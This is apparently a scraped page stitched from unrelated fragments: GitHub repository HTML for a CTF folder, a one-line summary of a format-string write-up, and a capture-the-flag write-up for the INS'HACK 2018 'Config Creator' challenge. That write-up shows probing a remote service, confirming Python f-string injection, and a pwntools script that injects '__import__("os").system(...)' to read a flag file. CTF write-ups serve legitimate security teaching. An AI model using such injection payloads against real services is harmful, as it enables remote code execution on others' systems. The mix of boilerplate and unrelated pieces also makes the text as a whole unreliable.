0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vakzz/ctfs/refs" cache-key="v0:1518524072.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dmFrenovY3Rmcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vakzz/ctfs/refs" cache-key="v0:1518524072.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dmFrenovY3Rmcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfs</span></span></span><span>/</span><span><span>Blaze2018</span></span><span>/</span>secret_pickle<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfs</span></span></span><span>/</span><span><span>Blaze2018</span></span><span>/</span>secret_pickle<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vakzz/ctfs/tree-commit/eeeda24c142b3747ced83b91868947e0cc32fca8/Blaze2018/secret_pickle" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/vakzz/ctfs/file-list/master/Blaze2018/secret_pickle"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>secret_pickle.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solv.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Using a format string attack on a remote server, an attacker can leverage certain data structures present in a running Linux process to ascertain key addresses to achieve remote code execution. Mirror Here: https://nusgreyhats.org/write-ups/hitbgsecquals2018-babynya/
# Config Creator##### INS'HACK 2018 (https://ctf.insecurity-insa.fr)```I've just written a small utility to create a config file (which are sooo painful to write by han, right?). Care to have a look? nc config-creator.ctf.insecurity-insa.fr 10000``` This pwn challenge did not provide the binary, so "educated guessing" was used to poke around for possible vulnerabilities. The service presents the following menu:```Welcome to the config creator! Please choose your action: 1. Register a new config entry 2. Change value of an existing config entry 3. Show my template 4. Show my config 5. Reset current config 6. exit``` `1. Register a new config entry` allows us to create custom key:value pairs. Fuzzing these and then using `4. Show my config` showed errors when the service failed to parse input: ```config:f-string: empty expression not allowed (<string>, line 6)An error occurred, sorry``` Researching `f-string` revealed that it was likely a new Python format string format (introduced in version 3.6). This fact can be confirmed by registering a valid config entry and then using `3. Show my template`: ```template:f"""configuration [ a = {a};]"""``` Looks like a Python f-string. So this pwn challenge is about Python injection. According to the docs, `{}` evalues input before supplying it to the f-string. The vulnerability can be confirmed by creating a key `eval('print(1234)')` with `{}` as value: ```Welcome to the config creator! Please choose your action: 1. Register a new config entry 2. Change value of an existing config entry 3. Show my template 4. Show my config 5. Reset current config 6. exit Choice? 1 Config key? eval('print(1234)')Config value? {} Please choose your action: 1. Register a new config entry 2. Change value of an existing config entry 3. Show my template 4. Show my config 5. Reset current config 6. exit Choice? 4 config:1234eval() arg 1 must be a string, bytes or code objectAn error occurred, sorry``` The program gives an error, but `1234` is printed back, which means injected code executed. Again, according to the docs and as can be confirmed in the challenge, using code with special characters and spaces will not work, because of the way f-strings are parsed. So before evaluating the exploit code, it must first be declared as a value in one key, and then evaluated with the second key. The following exploit does just that: ```pythonfrom pwn import * def xrust(data): global p print p.recvuntil('? ') p.sendline(data) p = remote('config-creator.ctf.insecurity-insa.fr', 10000) xrust('1') #registerxrust('a')xrust('__import__("os").system("cat flag.txt")') xrust('1') #registerxrust('eval(a)')xrust('{}') xrust('4') #configprint p.recvline() # INSA{dont_get_me_wrong_i_love_python36}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 